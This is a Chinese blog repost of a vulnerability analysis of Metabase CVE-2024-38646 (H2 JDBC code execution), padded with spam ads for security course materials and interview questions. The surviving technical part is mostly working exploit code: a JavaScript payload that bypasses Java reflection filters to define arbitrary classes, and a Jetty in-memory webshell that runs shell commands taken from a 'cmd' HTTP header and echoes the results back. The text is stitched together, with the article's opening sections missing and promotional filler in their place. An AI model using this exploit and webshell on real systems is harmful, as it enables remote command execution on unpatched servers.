漏洞分析|Metabase 代码执行漏洞(CVE-2024-38646):H2 JDBC 深入利用(1)

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName(“java.lang.Class”).getResourceAsStream(“Class.class”).readAllBytes(),null);
var reflectionDataField = clazzAnonymousClass.getDeclaredField(“reflectionData”);
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName(“jdk.internal.reflect.Reflection”);
} catch (error) {
reflectionClass = java.lang.Class.forName(“sun.reflect.Reflection”);
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass.getResourceAsStream(“Reflection.class”).readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField(“fieldFilterMap”);
var methodFilterMapField = reflectionAnonymousClass.getDeclaredField(“methodFilterMap”);
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(“java.util.HashMap”))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName(“java.util.HashMap”).getConstructor().newInstance());
}
if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(“java.util.HashMap”))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName(“java.util.HashMap”).getConstructor().newInstance());
}
removeClassCache(java.lang.Class.forName(“java.lang.Class”));
}
function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName(“java.lang.reflect.AccessibleObject”).getDeclaredField(“override”);
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
var clz = null;
var version = java.lang.System.getProperty(“java.version”);
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName(“java.net.URL”), 0));
try{
if (version.split(“.”)[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName(“java.lang.ClassLoader”).getDeclaredMethod(“defineClass”, java.lang.Class.forName(“[B”),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
setAccessible(defineClassMethod);
// 绕过 setAccessible
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
}else{
var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName(“java.security.cert.Certificate”), 0)), null, classLoader, []);
clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
}
}catch(error){
error.printStackTrace();
}finally{
return clz;
}
}
defineClass();


#### 4.4 漏洞回显


在漏洞回显时,我们就可以借助 `DefineClass` 来执行完成对漏洞的回显利用,但是目前最新版本的 Metabase 使用 Jetty11,所以需要针对该版本做回显适配,核心代码如下:



import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

/**
* Jetty CMD 回显马
* @author R4v3zn woo0nise@gmail.com
* @version 1.0.1
*/
public class JE2 {

public JE2(){
    try{
        invoke();
    }catch (Exception e){
        e.printStackTrace();
    }
}

public void invoke()throws Exception{
    ThreadGroup group = Thread.currentThread().getThreadGroup();
    java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
    f.setAccessible(true);
    Thread[] threads = (Thread[]) f.get(group);
    thread : for (Thread thread: threads) {
        try{
            Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals");
            threadLocalsField.setAccessible(true);
            Object threadLocals = threadLocalsField.get(thread);
            if (threadLocals == null){
                continue;
            }
            Field tableField = threadLocals.getClass().getDeclaredField("table");
            tableField.setAccessible(true);
            Object tableValue = tableField.get(threadLocals);
            if (tableValue == null){
                continue;
            }
            Object[] tables =  (Object[])tableValue;
            for (Object table:tables) {
                if (table == null){
                    continue;
                }
                Field valueField = table.getClass().getDeclaredField("value");
                valueField.setAccessible(true);
                Object value = valueField.get(table);
                if (value == null){
                    continue;
                }
                System.out.println(value.getClass().getName());
                if(value.getClass().getName().endsWith("AsyncHttpConnection")){
                    Method method = value.getClass().getMethod("getRequest", null);
                    value = method.invoke(value, null);
                    method = value.getClass().getMethod("getHeader", new Class[]{String.class});
                    String cmd = (String)method.invoke(value, new Object[]{"cmd"});
                    String result = "\n"+exec(cmd);
                    method = value.getClass().getMethod("getPrintWriter", new Class[]{String.class});
                    java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, new Object[]{"utf-8"});
                    printWriter.println(result);
                    printWriter.flush();
                    break thread;
                }else if(value.getClass().getName().endsWith("HttpConnection")){
                    Method method = value.getClass().getDeclaredMethod("getHttpChannel", null);
                    Object httpChannel = method.invoke(value, null);
                    method = httpChannel.getClass().getMethod("getRequest", null);
                    value = method.invoke(httpChannel, null);
                    method = value.getClass().getMethod("getHeader", new Class[]{String.class});
                    String cmd = (String)method.invoke(value, new Object[]{"cmd"});
                    String result = "\n"+exec(cmd);
                    method = httpChannel.getClass().getMethod("getResponse", null);
                    value = method.invoke(httpChannel, null);
                    method = value.getClass().getMethod("getWriter", null);
                    java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, null);
                    printWriter.println(result);
                    printWriter.flush();
                    break thread;
                }else if (value.getClass().getName().endsWith("Channel")){
                    Field underlyingOutputField = value.getClass().getDeclaredField("underlyingOutput");
                    underlyingOutputField.setAccessible(true);
                    Object underlyingOutput = underlyingOutputField.get(value);
                    Object httpConnection;
                    try{
                        Field _channelField = underlyingOutput.getClass().getDeclaredField("\_channel");
                        _channelField.setAccessible(true);
                        httpConnection = _channelField.get(underlyingOutput);
                    }catch (Exception e){
                        Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
                        connectionField.setAccessible(true);
                        httpConnection = connectionField.get(underlyingOutput);
                    }
                    Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
                    Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
                    String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
                    OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);
                    String result = "\n"+exec(cmd);
                    outputStream.write(result.getBytes());
                    outputStream.flush();
                    break thread;
                }
            }
        }catch (Exception e){}
    }
}

public String exec(String cmd){
    if (cmd != null && !"".equals(cmd)) {
        String os = System.getProperty("os.name").toLowerCase();
        cmd = cmd.trim();
        Process process = null;
        String[] executeCmd = null;
        if (os.contains("win")) {
            if (cmd.contains("ping") && !cmd.contains("-n")) {
                cmd = cmd + " -n 4";
            }
            executeCmd = new String[]{"cmd", "/c", cmd};
        } else {
            if (cmd.contains("ping") && !cmd.contains("-n")) {
                cmd = cmd + " -t 4";
            }
            executeCmd = new String[]{"sh", "-c", cmd};
        }
        try {
            process = Runtime.getRuntime().exec(executeCmd);
            Scanner s = new Scanner(process.getInputStream()).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            s = new Scanner(process.getErrorStream()).useDelimiter("\\a");
            output += s.hasNext()?s.next():"";
            return output;
        } catch (Exception e) {
            e.printStackTrace();
            return e.toString();
        } finally {
            if (process != null) {
                process.destroy();
            }
        }
    } else {
        return "command not null";
    }
}

}


### 0x05 总结


本次漏洞利用数据库连接信息触发漏洞,利用 H2 导致可以进行任意命令。我们采用 `TRIGGER` + `DefineClass` 完成对漏洞的利用,通过我们的研究分析发现该技术不光可应用在数据库连接中,更多可应用于 H2 的 SQL 注入,完成 SQL 注入 -> 代码执行的过程。


### 0x06 参考


* <https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/>


  

Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。


也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~


文章来自Goby社区成员:路人甲@白帽汇安全研究院,转载请注明出处。  



还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!


王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。


对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!


【完整版领取方式在文末!!】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值